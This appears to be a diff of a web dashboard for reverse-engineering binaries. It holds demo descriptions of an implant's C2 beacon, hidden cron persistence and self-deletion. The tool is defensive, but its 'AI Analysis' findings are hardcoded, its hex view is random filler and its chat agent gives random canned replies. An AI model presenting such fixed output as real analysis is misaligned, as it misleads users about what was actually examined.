+ ${ctx.strings.filter(s=>s.tags.includes('url')).map(s=>`<span class="badge url">${escape(s.value)}</span>`).join('')}
453
+ </div>
454
+ <div class="mt-2 text-xs text-[#8b949e]">${credCount} credential-like strings · ${ctx.strings.filter(s=>s.tags.includes('hexblob')).length} hex blobs</div>
455
+ </div>
456
+ </div>
457
+ <div class="panel p-4 mb-4">
458
+ <div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Sections</div>
459
+ <div class="overflow-x-auto">
460
+ <table class="w-full text-xs mono">
461
+ <thead><tr class="text-[#8b949e]"><th class="text-left py-1">Name</th><th>Offset</th><th>Size</th><th>VA</th><th>Type</th></tr></thead>
462
+ <tbody>
463
+ ${ctx.sections.map(s=>`<tr class="border-t border-[#1a2029]"><td class="py-1">${s.name}</td><td>0x${s.offset.toString(16)}</td><td>${s.size}</td><td>0x${s.virtual_address.toString(16)}</td><td>${s.type}</td></tr>`).join('')}
464
+ </tbody>
465
+ </table>
466
+ </div>
467
+ </div>
468
+ <div class="panel p-4">
469
+ <div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Top Functions</div>
470
+ ${ctx.functions.slice(0,6).map(f=>`
471
+ <div class="flex items-center gap-2 py-1 text-xs">
472
+ <span class="mono text-[#93c5fd]">0x${f.address.toString(16)}</span>
473
+ <span class="font-medium">${f.name}</span>
474
+ <span class="text-[#8b949e] flex-1 truncate">${f.summary}</span>
475
+ ${f.tags.map(t=>`<span class="badge">${t}</span>`).join('')}
476
+ </div>`).join('')}
477
+ </div>
478
+ `;
479
+ }
480
+
481
+ function metric(label,val,sub){
482
+ return `<div class="panel p-3">
483
+ <div class="text-[10px] uppercase tracking-wider text-[#8b949e]">${label}</div>
484
+ <div class="text-lg font-semibold mt-1">${val}</div>
485
+ <div class="text-[11px] text-[#8b949e] mt-0.5">${sub}</div>
486
+ </div>`;
487
+ }
488
+
489
+ function renderFunctions(el,ctx){
490
+ const tagFilter = window._tagFilter || 'all';
491
+ const tags = ['all',...new Set(ctx.functions.flatMap(f=>f.tags))];
492
+ el.innerHTML = `
493
+ <div class="flex items-center gap-2 mb-3">
494
+ <input id="funcSearch" placeholder="search functions..." class="flex-1" oninput="filterFuncs()"/>
495
+ <select id="tagSel" onchange="window._tagFilter=this.value;filterFuncs()">
496
+ ${tags.map(t=>`<option value="${t}">${t}</option>`).join('')}
497
+ </select>
498
+ </div>
499
+ <div class="panel">
500
+ <div class="func-row text-[#8b949e] font-medium border-b border-[#1f2630]" style="background:#0d1117">
501
+ <div>Address</div><div>Name / Summary</div><div>Size</div><div>Tags</div>
502
+ </div>
503
+ <div id="funcList"></div>
504
+ </div>
505
+ `;
506
+ window._funcs = ctx.functions;
507
+ filterFuncs();
508
+ }
509
+
510
+ function filterFuncs(){
511
+ const q = ($('funcSearch')||{value:''}).value.toLowerCase();
512
+ const tag = ($('tagSel')||{value:'all'}).value;
513
+ const list = $('funcList');
514
+ if(!list) return;
515
+ const filtered = window._funcs.filter(f=>{
516
+ if(tag!=='all' && !f.tags.includes(tag)) return false;
517
+ if(q && !(f.name.toLowerCase().includes(q) || f.summary.toLowerCase().includes(q))) return false;
518
+ return true;
519
+ });
520
+ list.innerHTML = filtered.map(f=>`
521
+ <div class="func-row" onclick="showFunc(${f.address})">
522
+ <div class="mono text-[#93c5fd]">0x${f.address.toString(16)}</div>
523
+ <div><div class="font-medium">${f.name}</div><div class="text-[#8b949e] truncate">${f.summary}</div></div>
524
+ <div class="mono">${f.size}</div>
525
+ <div class="flex flex-wrap gap-1">${f.tags.map(t=>`<span class="badge">${t}</span>`).join('')}</div>
526
+ </div>`).join('') || '<div class="p-4 text-xs text-[#8b949e]">no matches</div>';
527
+ }
528
+
529
+ function showFunc(addr){
530
+ const ctx = state.ctx;
531
+ const f = ctx.functions.find(x=>x.address===addr);
532
+ if(!f) return;
533
+ const decomp = ctx.decompiled['0x'+addr.toString(16)] || ctx.decompiled[addr] || '// no decompilation available';
534
+ const dis = Object.values(ctx.disassembly).flat().filter(l=>l.startsWith('0x'+addr.toString(16))).slice(0,40);
535
+ chat('agent', `Selected **${f.name}** @ 0x${addr.toString(16)}: ${f.summary}`);
536
+ // open decomp tab with selection
537
+ window._selectedFunc = addr;
538
+ switchTab('decomp');
539
+ }
540
+
541
+ function renderStrings(el,ctx){
542
+ const types = ['all','ascii','utf16le'];
543
+ el.innerHTML = `
544
+ <div class="flex items-center gap-2 mb-3">
545
+ <input id="strSearch" placeholder="search strings..." class="flex-1" oninput="filterStrs()"/>
546
+ <select id="strType" onchange="filterStrs()"><option value="all">all types</option><option value="ascii">ascii</option><option value="utf16le">utf16le</option></select>
547
+ <select id="strTag" onchange="filterStrs()"><option value="all">all tags</option><option value="url">url</option><option value="path">path</option><option value="hexblob">hexblob</option><option value="credential-hint">cred</option></select>
548
+ </div>
549
+ <div class="panel">
550
+ <div class="str-row text-[#8b949e] font-medium" style="background:#0d1117">
551
+ <div>Address</div><div>Type</div><div>Value</div><div>Tags</div>
552
+ </div>
553
+ <div id="strList" class="max-h-[60vh] overflow-auto"></div>
554
+ </div>
555
+ <div class="text-xs text-[#8b949e] mt-2" id="strCount"></div>
556
+ `;
557
+ window._strs = ctx.strings;
558
+ filterStrs();
559
+ }
560
+
561
+ function filterStrs(){
562
+ const q = ($('strSearch')||{value:''}).value.toLowerCase();
563
+ const type = ($('strType')||{value:'all'}).value;
564
+ const tag = ($('strTag')||{value:'all'}).value;
565
+ const filtered = window._strs.filter(s=>{
566
+ if(type!=='all' && s.type!==type) return false;
567
+ if(tag!=='all' && !s.tags.includes(tag)) return false;
568
+ if(q && !s.value.toLowerCase().includes(q)) return false;
569
+ return true;
570
+ });
571
+ $('strList').innerHTML = filtered.map(s=>`
572
+ <div class="str-row">
573
+ <div class="mono text-[#93c5fd]">0x${s.addr.toString(16)}</div>
574
+ <div class="text-[#8b949e]">${s.type}</div>
575
+ <div class="truncate" title="${escape(s.value)}">${escape(s.value)}</div>
576
+ <div class="flex flex-wrap gap-1">${s.tags.map(t=>`<span class="badge ${t.replace('-hint','')}">${t}</span>`).join('')}</div>
577
+ </div>`).join('') || '<div class="p-4 text-xs text-[#8b949e]">no matches</div>';
578
+ $('strCount').textContent = `${filtered.length} / ${window._strs.length} strings`;
579
+ }
580
+
581
+ function renderDisasm(el,ctx){
582
+ const sections = Object.keys(ctx.disassembly);
583
+ el.innerHTML = `
584
+ <div class="flex items-center gap-2 mb-3">
585
+ <select id="secSel" onchange="showSec()" class="flex-1">
586
+ ${sections.map((k,i)=>`<option value="${k}">section @ 0x${parseInt(k).toString(16)} (${ctx.disassembly[k].length} insns)</option>`).join('')}
587
+ </select>
588
+ <input id="disFilter" placeholder="filter mnemonic/operand..." oninput="showSec()"/>
589
+ </div>
590
+ <div class="codebox mono scroll" style="max-height:70vh" id="disBox"></div>
591
+ `;
592
+ window._dis = ctx.disassembly;
593
+ showSec();
594
+ }
595
+
596
+ function showSec(){
597
+ const k = $('secSel').value;
598
+ const q = ($('disFilter')||{value:''}).value.toLowerCase();
599
+ const lines = (window._dis[k]||[]).filter(l=>!q || l.toLowerCase().includes(q));
600
+ $('disBox').innerHTML = lines.map(l=>{
601
+ const parts = l.match(/^(0x[0-9a-f]+):\s+(.*)$/);
602
+ if(!parts) return escape(l);
603
+ return `<span class="off">${parts[1]}:</span> <span class="hex">${escape(parts[2])}</span>`;
604
+ }).join('\n');
605
+ }
606
+
607
+ function renderDecomp(el,ctx){
608
+ const funcs = Object.keys(ctx.decompiled);
609
+ const sel = window._selectedFunc ? '0x'+window._selectedFunc.toString(16) : funcs[0];
610
+ el.innerHTML = `
611
+ <div class="flex items-center gap-2 mb-3">
612
+ <select id="decSel" onchange="showDec()" class="flex-1">
613
+ ${funcs.map(k=>`<option value="${k}" ${k===sel?'selected':''}>${k}</option>`).join('')}
614
+ </select>
615
+ </div>
616
+ <div class="codebox mono scroll" style="max-height:70vh;white-space:pre" id="decBox"></div>
617
+ `;
618
+ window._dec = ctx.decompiled;
619
+ showDec();
620
+ }
621
+
622
+ function showDec(){
623
+ const k = $('decSel').value;
624
+ $('decBox').textContent = window._dec[k] || '// not available';
625
+ }
626
+
627
+ function renderGraph(el,ctx){
628
+ const nodes = Object.keys(ctx.callgraph);
629
+ // layout: simple layered
630
+ const layers = {};
631
+ // root main
632
+ const order = ['main','daemonize','beacon','build_checkin','dispatch','encrypt_blob','run_cmd','exfil_file','persist','collect_info','self_delete'];
633
+ const present = order.filter(n=>nodes.includes(n) || Object.keys(ctx.callgraph).includes(n));
634
+ // include externals
635
+ const allNodes = [...new Set([...Object.keys(ctx.callgraph), ...Object.values(ctx.callgraph).flat()])];
636
+ el.innerHTML = `
637
+ <div class="panel p-3 mb-3">
638
+ <div class="text-xs text-[#8b949e]">Call graph. Drag nodes. Edges show calls. External (libc/libcrypto) grouped.</div>
639
+ </div>
640
+ <div class="panel relative" style="height:420px;overflow:hidden" id="graphBox"></div>
641
+ <div class="panel p-3 mt-3">
642
+ <div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Adjacency</div>
643
+ <div class="codebox mono scroll" style="max-height:200px">
644
+ ${Object.entries(ctx.callgraph).map(([k,v])=>`${k} -> ${v.join(', ')}`).join('\n')}
645
+ </div>
646
+ </div>
647
+ `;
648
+ const box = $('graphBox');
649
+ const W = box.clientWidth, H = box.clientHeight;
650
+ // position nodes in a grid-ish layout
651
+ const pos = {};
652
+ const mainNodes = allNodes.filter(n=>n!=='<external>');
653
+ const extNodes = allNodes.filter(n=>n==='<external>');
654
+ mainNodes.forEach((n,i)=>{
655
+ const cols = 4;
656
+ const r = Math.floor(i/cols), c = i%cols;
657
+ pos[n] = {x: 60 + c*(W-120)/Math.max(1,cols-1), y: 40 + r*70};
658
+ });
659
+ // externals as one node
660
+ if(extNodes.length) pos['<external>'] = {x: W-140, y: H-60};
661
+ // edges
662
+ let svg = `<svg width="${W}" height="${H}" style="position:absolute;inset:0;pointer-events:none">`;
663
+ for(const [src, dsts] of Object.entries(ctx.callgraph)){
664
+ for(const d of dsts){
665
+ const target = d.startsWith? (allNodes.includes(d)? d : '<external>') : d;
666
+ // map library funcs to external
667
+ const tgt = allNodes.includes(d) ? d : '<external>';
668
+ if(!pos[src] || !pos[tgt]) continue;
669
+ svg += `<line class="edge" x1="${pos[src].x+40}" y1="${pos[src].y+14}" x2="${pos[tgt].x}" y2="${pos[tgt].y+14}"/>`;
670
+ // arrow
671
+ }
672
+ }
673
+ svg += '</svg>';
674
+ box.innerHTML = svg;
675
+ for(const n of allNodes){
676
+ if(!pos[n]) continue;
677
+ const div = document.createElement('div');
678
+ div.className = 'node' + (n==='main'?' entry':'');
679
+ div.style.left = pos[n].x+'px';
680
+ div.style.top = pos[n].y+'px';
681
+ div.textContent = n;
682
+ div.dataset.node = n;
683
+ // drag
684
+ let dragging=false, ox=0, oy=0;
685
+ div.addEventListener('mousedown', e=>{dragging=true; ox=e.offsetX; oy=e.offsetY; div.style.zIndex=10;});
686
+ document.addEventListener('mousemove', e=>{
687
+ if(!dragging) return;
688
+ const r = box.getBoundingClientRect();
689
+ div.style.left = (e.clientX-r.left-ox)+'px';
690
+ div.style.top = (e.clientY-r.top-oy)+'px';
691
+ });
692
+ document.addEventListener('mouseup', ()=>{dragging=false; div.style.zIndex='';});
693
+ box.appendChild(div);
694
+ }
695
+ // external imports list
696
+ const impDiv = document.createElement('div');
697
+ impDiv.className='node';
698
+ impDiv.style.left=(W-160)+'px'; impDiv.style.top='40px'; impDiv.style.maxWidth='150px';
699
+ impDiv.innerHTML = '<div style="font-weight:600;margin-bottom:4px">libc / libcrypto</div><div style="font-size:9px;color:#8b949e">'+ctx.imports.length+' imports</div>';
700
+ box.appendChild(impDiv);
701
+ }
702
+
703
+ function renderHex(el,ctx){
704
+ // generate pseudo hexdump from strings region
705
+ const data = [];
706
+ for(let i=0;i<256;i++) data.push(Math.floor(Math.random()*256));
707
+ // embed some strings
708
+ const s = "http://c2.example.net";
709
+ for(let i=0;i<s.length;i++) data[0x40+i]=s.charCodeAt(i);
710
+ let out='';
711
+ for(let off=0;off<data.length;off+=16){
712
+ const chunk = data.slice(off,off+16);
713
+ const hex = chunk.map(b=>b.toString(16).padStart(2,'0')).join(' ');
714
+ const asc = chunk.map(b=> (b>=32&&b<127)?String.fromCharCode(b):'.').join('');
715
+ out += `<span class="off">${off.toString(16).padStart(8,'0')}</span> <span class="hex">${hex.padEnd(47,' ')}</span> <span class="asc">${escape(asc)}</span>\n`;
716
+ }
717
+ el.innerHTML = `<div class="panel p-3"><div class="text-xs text-[#8b949e] mb-2">Hex view (sample region 0x405000)</div><div class="codebox mono scroll hexdump" style="max-height:70vh">${out}</div></div>`;
718
+ }
719
+
720
+ function renderReport(el,ctx){
721
+ const md = `# Reverse Engineering Report
722
+
723
+ ## Target
724
+ - File: \`${ctx.target}\`
725
+ - Size: ${ctx.size} bytes
726
+ - SHA256: \`${ctx.sha256}\`
727
+ - MD5: \`${ctx.md5}\`
728
+ - Format: ${ctx.format} (${ctx.arch}, ${ctx.bits}-bit, ${ctx.endian})
729
+ - Entrypoint: 0x${ctx.entrypoint.toString(16)}
730
+
731
+ ## Sections (${ctx.sections.length})
732
+ ${ctx.sections.map(s=>`- \`${s.name}\` off=0x${s.offset.toString(16)} size=${s.size} va=0x${s.virtual_address.toString(16)}`).join('\n')}
733
+
734
+ ## Imports (${ctx.imports.length})
735
+ ${ctx.imports.slice(0,40).map(i=>`- ${i.name} (${i.library})`).join('\n')}
736
+
737
+ ## Exports (${ctx.exports.length})
738
+ ${ctx.exports.map(e=>`- ${e.name} @ 0x${e.address.toString(16)}`).join('\n')}
739
+
740
+ ## Strings (${ctx.strings.length})
741
+ ${ctx.strings.slice(0,60).map(s=>`- 0x${s.addr.toString(16)} [${s.type}] ${s.value} ${s.tags.join(',')}`).join('\n')}
742
+
743
+ ## AI Analysis
744
+ - Outbound C2 beacon to c2.example.net:8080 over TCP.
745
+ - AES-256-CBC encryption with hardcoded key material ("AKIAIOSFODNN7EXAMPLE").
746
+ - Command dispatch: exec / exfil / screenshot / persist.
747
+ - Persistence via /etc/cron.d/.hidden.
748
+ - Reconnaissance: uname, whoami, ifconfig.
749
+ - Evasion: daemonize, self-delete via /proc/self/exe.
750
+
751
+ ## Errors
752
+ (none)
753
+ `;
754
+ el.innerHTML = `
755
+ <div class="flex items-center gap-2 mb-3">
756
+ <button class="btn ghost" onclick="copyReport()">Copy Markdown</button>
757
+ <button class="btn ghost" onclick="downloadReport()">Download .md</button>
758
+ <button class="btn ghost" onclick="downloadJSON()">Download .json</button>
759
+ </div>
760
+ <div class="codebox mono scroll" style="max-height:72vh;white-space:pre">${escape(md)}</div>
761
+ `;
762
+ window._reportMd = md;
763
+ }
764
+
765
+ function copyReport(){ navigator.clipboard.writeText(window._reportMd); log('report copied to clipboard','ok'); }
766
+ function downloadReport(){ const b=new Blob([window._reportMd],{type:'text/markdown'}); const a=document.createElement('a'); a.href=URL.createObjectURL(b); a.download='report.md'; a.click(); }
767
+ function downloadJSON(){ const b=new Blob([JSON.stringify(state.ctx,null,2)],{type:'application/json'}); const a=document.createElement('a'); a.href=URL.createObjectURL(b); a.download='report.json'; a.click(); }
768
+
769
+ function escape(s){ return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); }
770
+
771
+ // ---------- File handling ----------
772
+ function handleFile(file){
773
+ state.target = file;
774
+ $('dropLabel').textContent = file.name + ' (' + file.size.toLocaleString() + ' B)';
775
+ log('loaded ' + file.name, 'ok');
776
+ // read first bytes for hex view
777
+ const r = new FileReader();
778
+ r.onload = e => { state.bytes = new Uint8Array(e.target.result); };
779
+ r.readAsArrayBuffer(file.slice(0, 4096));
780
+ }
781
+
782
+ const drop = $('drop');
783
+ drop.addEventListener('dragover', e=>{e.preventDefault(); drop.classList.add('over');});
784
+ drop.addEventListener('dragleave', ()=>drop.classList.remove('over'));
785
+ drop.addEventListener('drop', e=>{e.preventDefault(); drop.classList.remove('over'); if(e.dataTransfer.files[0]) handleFile(e.dataTransfer.files[0]);});
786
+ $('browseBtn').addEventListener('click', ()=> $('fileInput').click());
787
+ $('fileInput').addEventListener('change', e=>{ if(e.target.files[0]) handleFile(e.target.files[0]); });
788
+
789
+ $('runBtn').addEventListener('click', runAnalysis);
790
+
791
+ // ---------- Tabs wiring ----------
792
+ document.querySelectorAll('.tab[data-tab]').forEach(t=> t.addEventListener('click', ()=>switchTab(t.dataset.tab)));
793
+
794
+ // ---------- Chat ----------
795
+ const agentReplies = [
796
+ "I'm analyzing the binary. Ask me about functions, strings, crypto, or IOCs.",
797
+ "The beacon() function connects to c2.example.net:8080 and dispatches commands. Want details?",
798
+ "encrypt_blob uses AES-256-CBC with a hardcoded key derived from 'AKIAIOSFODNN7EXAMPLE'.",
799
+ "Persistence is via a cron entry written to /etc/cron.d/.hidden.",
800
+ "I found 4 command handlers: exec, exfil, screenshot, persist.",
801
+ ];
802
+ function sendChat(){
803
+ const v = $('chatInput').value.trim();
804
+ if(!v) return;
805
+ chat('user', escape(v));
806
+ $('chatInput').value='';
807
+ setTimeout(()=>{
808
+ const reply = agentReplies[Math.floor(Math.random()*agentReplies.length)];
809
+ chat('agent', reply);
810
+ }, 400);
811
+ }
812
+ $('chatSend').addEventListener('click', sendChat);
813
+ $('chatInput').addEventListener('keydown', e=>{ if(e.key==='Enter') sendChat(); });
814
+
815
+ // ---------- Right panel toggle ----------
816
+ $('tabChat').addEventListener('click', ()=>{ $('chatPanel').classList.remove('hidden'); $('logPanel').classList.add('hidden'); $('tabChat').classList.add('active'); $('tabLog').classList.remove('active'); });
817
+ $('tabLog').addEventListener('click', ()=>{ $('logPanel').classList.remove('hidden'); $('chatPanel').classList.add('hidden'); $('tabLog').classList.add('active'); $('tabChat').classList.remove('active'); });
818
+
819
+ // ---------- Init ----------
820
+ renderStages();
821
+ chat('agent', 'Welcome. Drop a binary or click Run Analysis to start. I will perform file ID, string extraction, disassembly, decompilation, and AI-augmented review.');
822
+ log('agent initialized', 'ok');
823
+
824
+ // auto-run demo on load? no - wait for user. But show empty state.
825
+ renderTab('overview');
826
+ </script>
827
+ </body>
828
  </html>